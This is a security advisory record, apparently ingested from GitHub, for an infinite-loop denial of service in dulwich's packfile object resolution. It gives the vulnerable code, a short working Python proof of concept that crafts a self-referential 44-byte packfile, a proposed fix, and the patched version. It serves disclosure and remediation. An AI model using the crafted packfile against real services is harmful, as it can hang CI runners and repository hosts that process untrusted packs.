{"id":"GHSA-35mr-4567-66vg","title":"Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution","summary":"Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution","severity":"medium","cvss":6.5,"cwe":["CWE-835"],"vendor":"dulwich","product":"dulwich","ecosystem":"pip","affected":["dulwich < 1.2.9"],"patched":["dulwich 1.2.9"],"published":"2026-10-02","updated":"2026-10-02","sourceUpdated":"2026-10-02T18:54:40Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-35mr-4567-66vg","references":[{"url":"https://github.com/jelmer/dulwich/security/advisories/GHSA-35mr-4567-66vg"},{"url":"https://github.com/jelmer/dulwich/commit/d06ffc3e1aff0ea0a32094debead891be0083eb7"},{"url":"https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.9"},{"url":"https://github.com/advisories/GHSA-35mr-4567-66vg"}],"tags":["ghsa","pip"],"ingestedAt":"2026-10-02T22:33:09.856Z","slug":"GHSA-35mr-4567-66vg","body":"## Overview\n\n### Affected file\n* `dulwich/pack.py` (Method: `Pack.resolve_object`)\n\n### Description / Summary\nA High-severity Denial of Service (DoS) vulnerability exists in the `Pack.resolve_object` method. When resolving an `OFS_DELTA` object, the resolver calculates the base offset using `base_offset = obj_offset - delta_offset`.\n\nIf a malicious packfile contains an `OFS_DELTA` object where `delta_offset` is `0`, the calculation `obj_offset - 0` resolves back to the current object's own offset. Because the implementation lacks a depth counter, a \"visited\" set, or an explicit rejection of `delta_offset == 0`, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.\n\n**Vulnerable Code Breakdown (`dulwich/pack.py`):**\n```python\nelif obj_type == OFS_DELTA:\n    delta_offset = parse_pack_object_offset_at(...)\n    base_offset = obj_offset - delta_offset          # VULNERABILITY: Self-reference if delta_offset == 0\n    base_type, base_data = self.resolve_object(...)  # VULNERABILITY: Infinite recursion\n```\n\n### Potential impact\n\nAn attacker can trigger this infinite loop via any operation that walks packfiles (e.g., `dulwich clone`, `fetch`, `cat-file`, or internal `Pack.__getitem__` lookups). \n\n1. **CPU Exhaustion:** The process will spin at 100% CPU indefinitely.\n2. **Denial of Service:** Any service using `dulwich` (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.\n3. **Protocol Incompatibility:** This behavior violates the Git packfile specification. The standard `git` C client explicitly guards against this: `if (!base_offset) die(\"delta offset == 0 is invalid\");`.\n\n### POC (Proof of Concept)\nThe following Python script generates a 44-byte packfile that triggers the loop:\n\n```python\nfrom dulwich.pack import Pack\nimport struct, zlib, tempfile, os\n\n# Build a single OFS_DELTA entry whose delta_offset is 0\ntype_ofs_delta = 6\nheader = bytes([(type_ofs_delta << 4) | 0])\nofs_bytes = bytes([0x00]) # delta_offset = 0\nbody = zlib.compress(b'')\nraw = header + ofs_bytes + body\n\npack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\\x00' * 20)\n\nfd, path = tempfile.mkstemp(suffix='.pack')\nos.write(fd, pack); os.close(fd)\n\n# Trigger: This call never returns and spins at 100% CPU\np = Pack(path)\nobj = p[list(p.iterobjects())[0]]\n```\n\n### Possible solution\n1. **Explicit Guard:** Add a check in `Pack.resolve_object` to reject `delta_offset == 0`:\n   ```python\n   if delta_offset == 0:\n       raise CorruptPacksFile(\"OFS_DELTA has self-referential delta_offset=0\")\n   ```\n2. **Recursion Depth:** Implement a depth limit (e.g., `MAX_DELTA_DEPTH = 50`) to prevent long, non-looping chains of deltas (OFS or REF).\n\n## Affected packages\n\n- `dulwich < 1.2.9`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `dulwich 1.2.9`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}